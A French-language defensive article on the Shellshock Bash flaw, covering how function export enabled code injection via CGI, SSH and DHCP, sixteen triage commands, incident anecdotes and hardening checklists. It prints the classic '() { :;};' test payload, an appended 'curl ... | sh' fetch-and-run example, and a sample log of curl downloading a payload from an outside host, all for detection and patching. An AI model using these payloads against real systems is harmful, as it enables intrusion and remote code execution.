Shellshock : quand une variable d’environnement a fait la une

Pourquoi Shellshock importait (et importe toujours)

Shellshock n’était pas « un bug Bash » au sens où vous pourriez écarter un cas limite de parsing local. C’était une
interaction de conception : Bash permettait d’exporter des fonctions via des variables d’environnement, et il analysait
ces variables d’une manière qui permettait aux attaquants d’ajouter des commandes arbitraires. Si un attaquant pouvait contrôler
une variable d’environnement que Bash allait importer, il pouvait exécuter du code. Point final.

Cela semble restreint jusqu’à ce que vous vous rappeliez combien de couches traduisent une entrée externe en variables
d’environnement : passerelles CGI qui mappent des en-têtes HTTP, SSH exposant des chaînes contrôlées par l’utilisateur aux
commandes forcées, clients DHCP remplissant des scripts, wrappers cron, vérifications de supervision, et piles de gestion embarquées
qui utilisent des scripts shell parce que « c’est simple ».

Faits intéressants et contexte historique (court, concret)

• L’exportation de fonctions Bash existait depuis des années : Bash pouvait sérialiser une fonction dans une variable d’environnement et la réhydrater dans les shells enfants.
• L’exploit utilisait une syntaxe valide : la charge commençait comme une définition de fonction () { ...; } puis y ajoutait des commandes.
• Il a été divulgué publiquement en septembre 2014, et le premier correctif a été rapidement suivi d’autres correctifs au fur et à mesure que des variantes apparaissaient.
• CGI a multiplié le champ d’impact : les en-têtes HTTP deviennent couramment des variables d’environnement en CGI, donc des utilisateurs distants pouvaient les injecter.
• Les appareils embarqués ont souffert car ils expédiaient Bash (ou des shells semblables) et recevaient rarement des mises à jour, même quand ils étaient vulnérables.
• « Il suffit de patcher Bash » n’était pas suffisant : il fallait aussi trouver les chemins par lesquels des entrées non fiables atteignaient Bash en premier lieu.
• Les signatures WAF étaient bruyantes parce que la charge ressemblait à du texte légitime dans les en-têtes, menant à des faux positifs et à des règles de tape-taupe.
• Les attaquants ont automatisé immédiatement : balayages à grande échelle et exploitation opportuniste ont commencé quelques heures après la divulgation.

Shellshock a enseigné une vieille leçon de fiabilité : la gravité n’est pas seulement le bug, c’est le nombre
de façons d’y accéder. Bash était partout. Les variables d’environnement étaient partout. Et « un script lance un shell »
était la dépendance la plus courante et la moins documentée au monde.

Citation à garder sur un post-it :
idée paraphrasée — Werner Vogels (CTO d’Amazon) : « You build it, you run it; operational responsibility stays with the team that ships. »

Blague n°1 : Bash a essayé d’être serviable en important des fonctions depuis l’environnement. Comme un collègue qui « aide » en éditant la production à la main.

Comment ça fonctionnait : exportation de fonctions, parsing et code involontaire

Bash a une fonctionnalité où une fonction shell peut être exportée vers les processus enfants. En pratique, Bash
encode la définition de la fonction dans une variable d’environnement et, quand une nouvelle instance de Bash démarre,
elle parcourt l’environnement pour cette encodage et définit automatiquement la fonction.

Le problème : la logique d’analyse ne s’arrêtait pas à la fin de la définition de la fonction. Si la variable d’environnement
ressemblait à une définition de fonction puis contenait du texte supplémentaire, Bash exécutait ce texte supplémentaire.
Donc un attaquant envoyait quelque chose comme :

• Commencer par quelque chose qui ressemble à un export de fonction : () { :; }
• Ajouter des commandes arbitraires : ; /bin/id ou ; curl ... | sh

Vous vous demandez peut-être : « Pourquoi Bash analyse-t-il des variables d’environnement comme du code au démarrage ? » Parce que l’exportation
de fonctions est du code, et c’était pratique autrefois. La commodité vieillit mal.

Le schéma clé de franchissabilité

Shellshock devient exploitable quand les trois conditions suivantes sont réunies :

1. Une entrée non fiable peut influencer une variable d’environnement (directement ou via des règles de mappage).
2. Un processus Bash démarre (pas n’importe quel shell ; spécifiquement un Bash vulnérable) et importe cette variable.
3. Ce Bash est invoqué dans un contexte où l’exécution des commandes de l’attaquant a de l’importance (gestionnaire CGI, scripts privilégiés, etc.).

Pourquoi les correctifs sont arrivés en vagues

Le correctif initial a resserré l’analyse, mais les chercheurs ont rapidement trouvé des encodages alternatifs et des cas limites.
C’est normal pour les vulnérabilités liées aux parseurs : le premier correctif corrige le chemin évident, puis les gens jettent de la confetti grammaticale dessus jusqu’à ce que ça cesse de fuir.

Où ça a touché : CGI, SSH, DHCP et coins étranges

CGI et en-têtes HTTP : le cas classique

En CGI, un serveur web mappe souvent les métadonnées de la requête en variables d’environnement. Par exemple,
User-Agent devient quelque chose comme HTTP_USER_AGENT. Si le script CGI invoque
Bash (ou est lui-même un script Bash), un en-tête spécialement construit peut finir dans l’environnement et déclencher le bug.

Le chemin d’exploitation était douloureusement simple : envoyer une requête avec un en-tête malveillant, laisser le serveur web
lancer un gestionnaire CGI, regarder le serveur exécuter votre charge. C’est pourquoi Shellshock avait d’abord l’air « propagable comme un ver ».

SSH : moins évident, mais réel

SSH lui-même n’était pas « la vulnérabilité », mais il peut transmettre des variables d’environnement (selon la configuration du serveur
et le comportement du client). De plus, de nombreux montages avec commandes forcées et shells restreints finissent par invoquer Bash en interne.
Si cette invocation importe du contenu d’environnement contrôlé par l’attaquant, vous êtes compromis.

Clients DHCP et scripts réseau

Les options DHCP peuvent remplir des variables d’environnement utilisées par les scripts clients. Si un client DHCP exécute
un script shell qui invoque Bash avec ces variables, un serveur DHCP malveillant (ou des réponses usurpées sur un réseau hostile)
devient un vecteur d’exécution de code. C’est particulièrement vicieux pour les ordinateurs portables sur des réseaux publics
et pour des bancs d’essai « temporaires » branchés sur des switches au hasard.

Systèmes embarqués et appliances

Les appliances ont souvent des interfaces web qui appellent des scripts shell. Parfois c’est du CGI, parfois un wrapper personnalisé
qui shell-out quand même. Même si l’interface est « interne », les attaquants aiment l’interne.
Interne signifie « moins surveillé » et « logiciel plus ancien ».

Blague n°2 : Le moyen le plus rapide de trouver Bash dans votre parc est d’annoncer « nous le supprimons ». Soudain tout le monde a une dépendance dont il avait oublié de parler.

Règles rapides de diagnostic

Quand Shellshock (ou un bug similaire « entrée → env → shell ») est sur la table, l’objectif n’est pas d’admirer le CVE. L’objectif est
de répondre rapidement à trois questions opérationnelles :

1. Sommes-nous vulnérables à l’instant ?
2. Quelqu’un tente-t-il de l’exploiter à l’instant ?
3. Quels sont les chemins atteignables qui comptent dans notre environnement ?

Première étape : confirmer la surface d’exposition, pas seulement les versions de paquets

• Identifier les hôtes exécutant des versions vulnérables de Bash.
• Identifier les points d’entrée qui peuvent transmettre des chaînes contrôlées par l’attaquant dans des variables d’environnement (CGI, wrappers, UIs d’administration, scripts DHCP, SSH AcceptEnv).
• Prioriser les chemins exposés à Internet et ceux à privilèges élevés.

Deuxième étape : rechercher des signaux d’exploitation active

• Journaux web pour des charges ressemblant à des fonctions dans les en-têtes.
• Pics d’exécution de processus (appels inattendus à curl, wget, nc, mineurs crypto).
• Connexions sortantes depuis des serveurs qui ne devraient pas communiquer vers l’extérieur.

Troisième étape : contenir et patcher en sécurité

• Patchuez Bash partout où vous le pouvez.
• Désactivez ou isolez les chemins CGI qui invoquent Bash ou shell-out de manière non sécurisée.
• Auditez et restreignez le passage d’environnement dans SSH et les gestionnaires de services.
• Instrumentez : même un patch parfait n’enlève pas la catégorie de problème.

Astuce sur le goulet d’étranglement : les équipes perdent du temps à discuter « le CVE est-il applicable » alors que le réel retard est la découverte des actifs.
Si vous ne pouvez pas répondre « où Bash est-il invoqué depuis une requête réseau », votre inventaire est de la fiction.

Tâches pratiques : commandes, sorties, décisions

Voici des tâches réelles que vous pouvez lancer pendant un incident ou un sprint de durcissement. Chacune inclut la commande,
ce que signifie la sortie, et la décision à prendre. Ne les exécutez pas une fois et vous sentir en sécurité ; exécutez-les
comme partie d’une boucle d’inventaire et d’application.

Task 1: Verify whether Bash is vulnerable (classic test)

cr0x@server:~$ env x='() { :;}; echo VULNERABLE' bash -c 'echo SAFE'
VULNERABLE
SAFE

Ce que cela signifie : Si vous voyez VULNERABLE, ce Bash a exécuté la commande ajoutée pendant le démarrage.
Si seul SAFE s’affiche, cette chaîne d’exploit spécifique n’a pas déclenché.

Décision : Si vulnérable, patchez immédiatement et supposez que tout chemin invoquant Bash est exploitable.
Si non vulnérable, procédez quand même aux tests de variantes et à la revue de franchissabilité.

Task 2: Test for patched behavior (one common variant check)

cr0x@server:~$ env x='() { (a)=>\' bash -c 'echo TEST'
bash: warning: x: ignoring function definition attempt
TEST

Ce que cela signifie : Bash patché émet souvent des avertissements à propos de définitions de fonctions ignorées qui semblent incorrectes.
Le libellé exact varie selon la distro/niveau de patch.

Décision : Les avertissements sont acceptables ; l’exécution ne l’est pas. Si vous voyez une exécution de commande, vous n’avez pas fini de patcher.

Task 3: Identify Bash package version (Debian/Ubuntu)

cr0x@server:~$ dpkg -l bash | awk 'NR==1 || $1 ~ /^ii/ {print}'
Desired=Unknown/Install/Remove/Purge/Hold
ii  bash  5.1-2ubuntu3.6  amd64  GNU Bourne Again SHell

Ce que cela signifie : Affiche la version de Bash installée. Cela seul ne prouve pas la sécurité, mais c’est la graine de votre cartographie du parc.

Décision : Comparez aux versions corrigées de votre distribution. En cas de doute, fiez-vous aux tests de comportement et aux avis des fournisseurs.

Task 4: Identify Bash package version (RHEL/CentOS/Fedora)

cr0x@server:~$ rpm -q bash
bash-5.1.8-9.el9.x86_64

Ce que cela signifie : La version-release RPM installée.

Décision : Si la release est plus ancienne que votre ligne de base de sécurité, planifiez la mise à jour ; si vous ne pouvez pas mettre à jour, isolez l’exposition et remplacez les chemins d’invocation de Bash.

Task 5: Find CGI usage quickly (Apache)

cr0x@server:~$ apachectl -M | egrep 'cgi|cgid'
 cgid_module (shared)

Ce que cela signifie : Le module CGI est activé (soit cgi soit cgid).

Décision : Si CGI est activé sur des hôtes exposés à Internet, auditez quels scripts s’exécutent et quel interprète ils utilisent ; désactivez CGI quand ce n’est pas nécessaire.

Task 6: Locate CGI scripts and identify Bash shebangs

cr0x@server:~$ sudo find /var/www -type f -maxdepth 5 -perm -111 -print | head
/var/www/cgi-bin/status
/var/www/cgi-bin/healthcheck
/var/www/html/app/hooks/deploy

cr0x@server:~$ sudo head -n 1 /var/www/cgi-bin/status
#!/bin/bash

Ce que cela signifie : Des scripts exécutables existent, et au moins un utilise Bash directement.

Décision : Traitez les scripts CGI Bash comme à haut risque. Patchiez Bash et refactorez aussi les scripts pour éviter d’hériter d’env vars non fiables (ou supprimez CGI entièrement).

Task 7: Inspect whether HTTP headers are logged (for detection quality)

cr0x@server:~$ sudo grep -R "LogFormat" -n /etc/apache2 | head -n 3
/etc/apache2/apache2.conf:214:LogFormat "%h %l %u %t \"%r\" %>s %b" common

Ce que cela signifie : Les formats de journalisation par défaut n’incluent pas les en-têtes. Cela limite la détection de Shellshock via l’examen des logs.

Décision : Si vous avez besoin de preuves forensiques, activez temporairement la journalisation ciblée des en-têtes sur les vhosts affectés (attention : confidentialité, volume et secrets).

Task 8: Hunt for exploit strings in access logs

cr0x@server:~$ sudo zgrep -h "(){ :" /var/log/apache2/access.log* | head
203.0.113.17 - - [22/Jan/2026:02:11:03 +0000] "GET /cgi-bin/status HTTP/1.1" 200 182

Ce que cela signifie : La présence de motifs (){ : indique des balayages ou tentatives d’exploitation. Cela peut ne pas montrer les en-têtes complets s’ils ne sont pas journalisés.

Décision : Si vu, supposez que vous êtes ciblé. Correliez avec l’exécution de processus, le trafic sortant et les vérifications d’intégrité des fichiers.

Task 9: Check running processes for suspicious child shells spawned by web server

cr0x@server:~$ ps -eo pid,ppid,user,cmd --sort=ppid | egrep 'apache2|httpd|bash -c' | head
1221     1 root     /usr/sbin/apache2 -k start
1874  1221 www-data bash -c /var/www/cgi-bin/status

Ce que cela signifie : Le serveur web lance Bash — c’est un chemin accessible. Ce n’est pas automatiquement malveillant, mais c’est une surface d’attaque.

Décision : Réduisez ou éliminez les shell-outs. Si vous devez les garder, confinez-les avec le principe du moindre privilège, un environnement restreint et des contrôles d’accès obligatoires.

Task 10: Confirm SSH environment passing configuration

cr0x@server:~$ sudo sshd -T | egrep 'acceptenv|permituserenvironment'
acceptenv LANG LC_*
permituserenvironment no

Ce que cela signifie : AcceptEnv contrôle quelles variables clients peuvent être acceptées ; PermitUserEnvironment contrôle les fichiers d’environnement par utilisateur.

Décision : Gardez PermitUserEnvironment no sauf justification forte. Restreignez AcceptEnv aux locales dans la plupart des environnements.

Task 11: Check DHCP client hooks for shell execution

cr0x@server:~$ ls -1 /etc/dhcp/dhclient-exit-hooks.d 2>/dev/null | head
route-metrics
update-resolvconf

cr0x@server:~$ sudo grep -R "bash" -n /etc/dhcp /etc/network 2>/dev/null | head
/etc/dhcp/dhclient-exit-hooks.d/update-resolvconf:3:#!/bin/bash

Ce que cela signifie : Les scripts DHCP peuvent utiliser Bash. S’ils traitent des options DHCP non fiables de manière non sécurisée, ils constituent un vecteur.

Décision : Sur les réseaux non fiables, traitez les scripts DHCP comme exposés. Patchtez Bash et revoyez les hooks pour éviter les eval/expansion dangereux.

Task 12: Detect outbound connections from a web server (quick triage)

cr0x@server:~$ sudo ss -tpn | head
State  Recv-Q Send-Q Local Address:Port  Peer Address:Port Process
ESTAB  0      0      10.0.0.12:43822    198.51.100.40:80  users:(("curl",pid=2440,fd=3))

Ce que cela signifie : Un processus comme curl effectuant des connexions sortantes depuis un hôte qui sert normalement du trafic entrant est suspect.

Décision : Si inattendu, isolez l’hôte, capturez des preuves (arbre de processus, binaires, scripts), et faites tourner les identifiants. Ne vous contentez pas de « tuer curl » et passer à autre chose.

Task 13: Trace parent-child chain for suspicious processes

cr0x@server:~$ ps -o pid,ppid,user,cmd -p 2440
  PID  PPID USER     CMD
 2440  1874 www-data curl -fsSL http://198.51.100.40/payload.sh

cr0x@server:~$ ps -o pid,ppid,user,cmd -p 1874
  PID  PPID USER     CMD
 1874  1221 www-data bash -c /var/www/cgi-bin/status

Ce que cela signifie : Cela relie un comportement sortant suspect à un script CGI Bash.

Décision : C’est le moment de contenir : désactivez le point de terminaison vulnérable, bloquez l’egress, et reconstruisez à partir d’images propres si une compromission est plausible.

Task 14: Quick file integrity triage for common drop locations

cr0x@server:~$ sudo find /tmp /var/tmp -maxdepth 2 -type f -mtime -2 -ls | head
131089  4 -rw-r--r-- 1 www-data www-data  892 Jan 22 02:12 /tmp/.x.sh

Ce que cela signifie : Des exécutables ou scripts récemment modifiés dans des répertoires temporaires sont des artefacts classiques post-exploit.

Décision : Ne supprimez pas immédiatement. Capturez le hash, le contenu et les horodatages, puis isolez. Si vous n’êtes pas prêt pour la forensique, reconstruisez l’hôte.

Task 15: Confirm Bash is not used as /bin/sh on your distro (risk shaping)

cr0x@server:~$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Jan 10 09:01 /bin/sh -> dash

Ce que cela signifie : Si /bin/sh pointe vers dash (courant sur Debian/Ubuntu), moins de scripts invoquent implicitement Bash.

Décision : Cela réduit l’exposition accidentelle mais ne l’élimine pas. Vous avez toujours des scripts explicites Bash et tout ce qui invoque bash directement.

Task 16: Search code for risky patterns that amplify Shellshock-like bugs

cr0x@server:~$ sudo grep -R --line-number -E '\beval\b|bash -c|/bin/bash' /var/www /usr/local/bin 2>/dev/null | head
/var/www/cgi-bin/status:18:eval "$QUERY_STRING"
/usr/local/bin/deploy-hook:5:/bin/bash -c "$1"

Ce que cela signifie : eval et bash -c transforment des chaînes en code. Combinés avec des entrées non fiables ou des env, ce sont des blessures auto-infligées.

Décision : Remplacez par un parsing sûr, des listes blanches, ou des appels paramétrés. Si vous ne pouvez pas, encapsulez avec une validation stricte et confinement.

Trois mini-récits d’entreprise depuis le terrain

Mini-récit 1 : L’incident causé par une mauvaise hypothèse

Une entreprise SaaS de taille moyenne avait un outil d’administration interne qui « ne fonctionnait que sur le VPN ». C’était du CGI ancien,
parce que l’outil est né comme un tableau de bord rapide pour les ops, puis a gagné des boutons, puis des utilisateurs,
puis de l’« importance business ». Le script était en Bash. Il appelait quelques API internes et exécutait quelques binaires d’aide.

La mauvaise hypothèse était nette et confiante : interne égale sûr. Ils ont patché d’abord les systèmes exposés à Internet,
puis mis en file d’attente les hôtes internes pour « plus tard cette semaine », à cause des fenêtres de maintenance, des comités de changement et
du théâtre général de la sécurité.

Deux jours plus tard, un laptop de sous-traitant s’est connecté au VPN depuis un réseau domestique compromis. L’attaquant
n’avait pas besoin de « casser le VPN » ; il avait juste besoin d’une porte d’entrée sur le laptop et d’un chemin vers les services internes.
L’outil d’administration était accessible, et ses journaux d’accès étaient maigres. Quelques requêtes fabriquées plus tard, un point de terminaison CGI Bash
a exécuté une charge qui a ouvert une reverse shell vers un hôte externe — car l’egress depuis les serveurs internes était largement ouvert pour « la supervision ».

L’incident n’a pas été catastrophique, mais il a coûté cher. Ils ont reconstruit plusieurs hôtes, fait tourner des secrets,
et passé des semaines à expliquer pourquoi « VPN-only » n’est pas une frontière de sécurité. Le postmortem contenait une phrase utile :
les services internes méritent la même urgence de patch que les services externes quand le point d’entrée est accessible par n’importe quel appareil utilisateur.

Le correctif a été ennuyeux et structurel : la priorité des patchs a été reclassée selon la franchissabilité et les privilèges, pas selon les étiquettes « exposé Internet ».
Les contrôles d’egress ont été resserrés, et l’outil admin a été réécrit pour éviter de sheller pour tout, parce que sheller c’est hériter de l’histoire entière des pièges Unix.

Mini-récit 2 : L’optimisation qui s’est retournée contre eux

Une autre organisation exploitait un site marketing à fort trafic alimenté par une ferme de serveurs Apache. Pour accélérer le contenu dynamique des années plus tôt,
ils avaient construit un wrapper CGI léger qui exécutait de petits scripts. C’était « plus rapide que la pile applicative » et facile à modifier pour des équipes non applicatives.
Les performances se sont améliorées, et le pattern a prospéré. Tout est devenu un script.

Quand Shellshock est arrivé, ils ont patché Bash rapidement. Puis ils ont déclaré victoire, car leurs scanners disaient « pas vulnérable ». Mais une semaine plus tard,
des pics étranges de CPU et de trafic sortant ont commencé. Pas énormes. Juste assez pour dégrader la latence en queue et déclencher l’auto-scaling.

Le retournement était un effet de second ordre : leur règle WAF pour bloquer les charges Shellshock-like était trop large,
et elle a commencé à rejeter des requêtes avec certains motifs d’en-têtes. Un partenaire en amont a retenté agressivement.
Le site a vu des rafales de requêtes répétées, qui frappaient davantage les wrappers CGI que les chemins mis en cache, ce qui a créé plus de forks de processus, plus de contention.
Ainsi la « mitigation de sécurité » est devenue une régression de performance, et l’astreinte s’est retrouvée avec un double incident : sécurité + capacité.

Le correctif a été d’arrêter de traiter les règles WAF comme un substitut au comportement applicatif. Ils ont ajusté les règles avec des faux positifs mesurés, ajouté du rate limiting
pour certains endpoints partenaires, et — surtout — réduit la dépendance aux fork/exec CGI en déplaçant la logique vers un service long-running avec validation claire des entrées.

Leur conclusion pratique : si votre mitigation change le comportement d’acceptation des requêtes, vous devez modéliser le comportement de retry des clients. Les contrôles de sécurité qui provoquent des retries sont effectivement un test de charge.

Mini-récit 3 : La pratique ennuyeuse mais correcte qui a sauvé la mise

Une équipe de services financiers avait la réputation d’être douloureusement lente. Ils avaient aussi une pipeline d’images golden,
une gestion de configuration agressive, et l’habitude de désactiver les fonctionnalités non utilisées. On se moquait d’eux. Puis Shellshock est arrivé.

Leur parc était vaste, mais uniforme. Les versions de Bash étaient contrôlées via leurs images de base. Plus important encore,
CGI n’était pas autorisé dans les couches web de production — explicitement interdit par la politique et vérifié en CI. Là où ils exécutaient des scripts shell,
ils les faisaient tourner sous des comptes de service restreints avec un minimum de variables d’environnement, et le trafic sortant des serveurs était par défaut refusé.

Ils ont quand même patché, bien sûr. Mais la fenêtre de risque immédiate était réduite car les chemins d’exploitation atteignables étaient rares.
Ils ont pu dire, avec des preuves, « pas de CGI, pas d’AcceptEnv au-delà des locales, pas de wrappers hérités bizarres ».
L’équipe sécurité n’a pas eu à deviner. L’équipe SRE n’a pas dû grep manuellement 800 serveurs à 3h du matin.

Ce qui les a sauvés n’était pas de l’héroïsme. C’était la machinerie ennuyeuse : inventaire, images standard, et une posture par défaut qui suppose que toute chaîne traversant une frontière finira par être malveillante.
Ils semblaient lents un jour normal et rapides un mauvais jour — ce qui est la seule vitesse qui compte.

Erreurs courantes : symptômes → cause racine → correction

Mistake 1: “We patched Bash, so we’re done.”

Symptômes : Le scan de sécurité affiche des versions patchées, mais vous voyez toujours des arbres de processus suspects ou du trafic sortant étrange.

Cause racine : Un sous-ensemble d’hôtes n’a pas patché (dérive des images golden, appareils embarqués, conteneurs avec anciennes couches de base),
ou vous avez patché le paquet mais des processus longue durée invoquent encore d’anciens binaires dans des chroots/conteneurs.

Correction : Vérifiez le comportement avec des tests d’exploit, énumérez tous les contextes d’exécution (conteneurs, chroots, appliances), et redémarrez les services
qui exec Bash. Considérez « paquet patché » comme nécessaire mais pas suffisant.

Mistake 2: Hunting only in request paths, not in headers

Symptômes : Pas de chaînes de requête suspectes, pourtant des indicateurs de compromission existent.

Cause racine : Les charges Shellshock résident souvent dans les en-têtes (User-Agent, Referer, Cookie) qui ne sont pas journalisés par défaut.

Correction : Activez temporairement la journalisation ciblée des en-têtes pour l’investigation, ou utilisez des captures de paquets / journaux de reverse proxy où les en-têtes sont conservés.

Mistake 3: Disabling CGI globally without checking dependencies

Symptômes : Après mitigation, des endpoints « aléatoires » échouent : vérifications de santé plantent, intégrations legacy expirent, outils internes disparaissent.

Cause racine : CGI était une dépendance cachée pour des checks de santé, hooks de déploiement, ou outils « temporaires » devenus permanents.

Correction : Identifiez d’abord les scripts CGI, remplacez les chemins critiques par des équivalents plus sûrs, puis désactivez les modules avec un déploiement contrôlé.

Mistake 4: Leaving egress wide open “for convenience”

Symptômes : L’exploitation conduit rapidement à des téléchargements secondaires (mineurs, clients bot) et des beacons sortants.

Cause racine : Des serveurs qui n’ont pas besoin d’accès sortant à Internet y ont quand même accès ; les attaquants l’utilisent pour mettre en place des charges.

Correction : Mettez en place un refus par défaut de l’egress pour les sous-réseaux de serveurs. Autorisez uniquement les destinations nécessaires (repos de paquets via proxies, APIs spécifiques).

Mistake 5: Trusting “internal networks” with hostile inputs

Symptômes : Des endpoints internes se font compromettre ; on blâme « la menace interne » sans preuves.

Cause racine : Des endpoints compromis (laptops, clients VPN) sont à l’intérieur. DHCP, HTTP interne et panels d’administration reçoivent encore des entrées contrôlées par l’attaquant.

Correction : Traitez l’interne comme au mieux semi-fiable. Appliquez la même hygiène d’entrées et la même urgence de patch aux services internes atteignables.

Mistake 6: Overbroad WAF rules causing self-DoS

Symptômes : Après déploiement des règles de mitigation, les taux de requêtes grimpent, les clients retentent, et le site ralentit ou s’effondre.

Cause racine : Les faux positifs déclenchent des retries ; certains clients implémentent mal l’exponential backoff (ou pas du tout).

Correction : Déployez les changements WAF avec surveillance des 4xx et des patterns de retry, ajoutez du rate limiting, et préférez corriger le chemin d’exécution vulnérable.

Listes de contrôle / plan étape par étape

Étape par étape : réponse à incident quand Shellshock est suspecté

1. Confirmez le comportement de vulnérabilité sur des hôtes représentatifs (pas seulement les versions de paquets). Utilisez le test env et enregistrez les résultats.
2. Identifiez les chemins d’exécution atteignables : endpoints CGI, outils d’administration, tout service qui shell-out et pourrait hériter des métadonnées de requête.
3. Recherchez des preuves d’exploitation : logs d’accès (même partiels), arbres de processus, connexions sortantes, nouveaux fichiers dans /tmp, changements de cron.
4. Contenez : désactivez ou firewallisez les endpoints vulnérables ; restreignez l’egress ; isolez les hôtes suspects des réseaux sensibles.
5. Patch Bash sur l’ensemble du parc, y compris images, conteneurs et machines « spéciales ».
6. Redémarrez les services qui exécutent des scripts, et redéployez les conteneurs. Patching d’un fichier sur disque ne change pas le comportement des processus en cours.
7. Hygiène des identifiants : faites tourner les secrets qui auraient pu être accessibles aux processus compromis (clés API, identifiants DB, tokens de déploiement).
8. Éradiquez : si une compromission est plausible, reconstruisez les hôtes depuis des images connues bonnes. « Nettoyer » sert en labo, pas en production.
9. Durcissement post-incident : réduisez les shell-outs, restreignez le passage d’env, appliquez des contrôles d’egress, ajoutez de la détection pour les spawn de processus suspects.

Étape par étape : durcir contre les problèmes de type Shellshock

1. Inventaire où Bash existe (paquets, conteneurs, embarqué) et où il est invoqué (shebangs, bash -c, wrappers).
2. Éliminez CGI quand c’est possible. Si vous le conservez, restreignez les scripts à des interprètes non-shell et désinfectez les variables d’environnement.
3. Supprimez eval des scripts. Remplacez par un parsing strict et des listes blanches de valeurs autorisées.
4. Verrouillez les images de base et reconstruisez régulièrement. Un hôte patché avec un conteneur non patché reste un incident.
5. Restreignez le passage d’environnement SSH aux variables sûres connues (généralement les locales seulement).
6. Refusez par défaut l’egress pour les sous-réseaux serveur ; autorisez seulement ce qui est nécessaire.
7. Ajoutez de la détection pour les processus web lançant des shells et pour les connexions sortantes inattendues.
8. Exercez-vous : simulez une « faille de parseur dans un composant omniprésent ». Le goulet sera l’inventaire, pas le patching.

Checklist de déploiement (ce que j’exigerais avant de dire « fini »)

• Les tests comportementaux passent sur un échantillon de chaque OS/image et de chaque base de conteneur.
• L’utilisation de CGI est énumérée ; les modules inutiles désactivés ; les scripts nécessaires audités.
• La config SSHD revue : AcceptEnv restreint, PermitUserEnvironment no sauf justification.
• Surveillance en place pour apache2/httpd lançant bash, et pour des curl/wget inattendus depuis des rôles serveurs.
• Politique d’egress appliquée pour les couches web et admin.
• Images golden reconstruites et redéployées ; détection de dérive active.
• Évaluation de compromission menée pour tout hôte avec indicateurs d’exploitation ; décisions de reconstruction documentées.

FAQ

1) Was Shellshock only exploitable via the web (CGI)?

Non. CGI l’a rendu célèbre car il mappe les en-têtes en variables d’environnement et spawn souvent des shells. Mais tout chemin où
une entrée non fiable influence des variables d’environnement et où un Bash vulnérable démarre peut être exploitable : configurations SSH, scripts DHCP,
wrappers personnalisés et piles de gestion embarquées.

2) If my system uses dash for /bin/sh, am I safe?

Plus sûr, pas sûr. Beaucoup de scripts utilisent explicitement #!/bin/bash ou invoquent bash -c. De plus, des applications peuvent lancer Bash directement.
Vérifiez les invocations réelles, pas seulement le symlink /bin/sh.

3) Does patching Bash eliminate the need for WAF rules?

Patchez d’abord. Les règles WAF peuvent réduire le bruit de scan opportuniste et acheter du temps, mais elles sont fragiles et peuvent
causer des faux positifs et des retries. Utilisez le WAF comme un ceinturon de sécurité, pas comme le frein principal.

4) Why did patches come out multiple times?

Parce que les bugs de parseur sont une hydre. Corriger un motif ne garantit pas que vous avez couvert tous les encodages équivalents.
Les fournisseurs ont itéré au fur et à mesure que des bypass et comportements liés étaient découverts.

5) Can I detect Shellshock exploitation reliably from logs?

Parfois. Si vous journalisez les en-têtes (beaucoup ne le font pas), vous pouvez greper des motifs de charge ressemblant à des fonctions.
Sans en-têtes, vous vous fiez davantage aux indicateurs secondaires : processus web spawnant des shells, trafic sortant inattendu, nouveaux scripts temporaires,
et entrées cron étranges.

6) Do containers change the Shellshock story?

Ils rendent surtout l’inventaire plus difficile. Un noyau hôte patché ne patch pas l’userland d’un conteneur. Si vos images
contiennent un Bash vulnérable, vos conteneurs sont vulnérables, même si le paquet hôte est à jour. Reconstruisez et redéployez.

7) What’s the fastest mitigation if I cannot patch immediately?

Réduisez la franchissabilité : désactivez les endpoints CGI qui invoquent Bash, bloquez les en-têtes suspects à la périphérie avec un réglage fin,
et restreignez l’egress. Supprimez ou mettez sous garde toute fonctionnalité qui prend une entrée utilisateur et l’envoie à bash -c ou eval.
Puis patchez dès que possible.

8) Is it enough to patch and restart Apache?

Cela dépend de ce qui d’autre invoque Bash. Redémarrer Apache aide si Apache est le processus qui spawn les handlers CGI.
Mais il faut aussi patcher le binaire Bash, reconstruire les images/conteneurs, et redémarrer d’autres services qui exécutent des scripts.

9) Could Shellshock lead to privilege escalation?

Oui, indirectement. L’exécution initiale se fait avec l’utilisateur du Bash vulnérable (souvent www-data),
mais les attaquants peuvent pivoter en utilisant des escalades locales de privilèges, le vol de secrets, des règles sudo faibles, ou des secrets exposés.

10) What’s the long-term lesson for reliability engineering?

Ne construisez pas de systèmes où « une chaîne devient du code » est la norme. Traitez le parsing et l’évaluation implicite comme des risques de production.
Préférez des services long-running avec des schémas d’entrée stricts plutôt que des scripts fork/exec qui héritent de la moitié de l’univers via les variables d’environnement.

Prochaines étapes concrètes

Si vous voulez que Shellshock reste une anecdote historique et non une catégorie récurrente dans votre tracker d’incidents, faites ceci :

1. Exécutez des tests comportementaux pour Bash sur chaque image de base que vous diffusez (VM et conteneur). Stockez les résultats comme métadonnées de build.
2. Inventoriez les chemins d’exécution : grep pour #!/bin/bash, bash -c, et eval dans le code de production et les scripts ops.
3. Supprimez CGI là où vous le pouvez. Si vous ne pouvez pas, confinez-le : utilisateurs au moindre privilège, env minimal, listes d’autorisation strictes, et egress serré.
4. Mettez en place des contrôles d’egress pour les rôles serveurs. Les exploits de type Shellshock adorent télécharger une « phase deux ». Rendez cela contraignant.
5. Rendez la dérive coûteuse : appliquez les niveaux de patch avec la gestion de configuration et empêchez les builds qui tirent un ancien Bash dans les images.
6. Exercez-vous : le prochain bug qui fera la une ne sera pas Bash. Ce sera autre chose que vous avez supposé n’être que de la plomberie.

Shellshock n’était pas magique. C’était une chaîne parfaitement ordinaire : comportement implicite + entrée franchissable + logiciel omniprésent.
Votre travail est de casser des chaînes, pas de courir après les gros titres.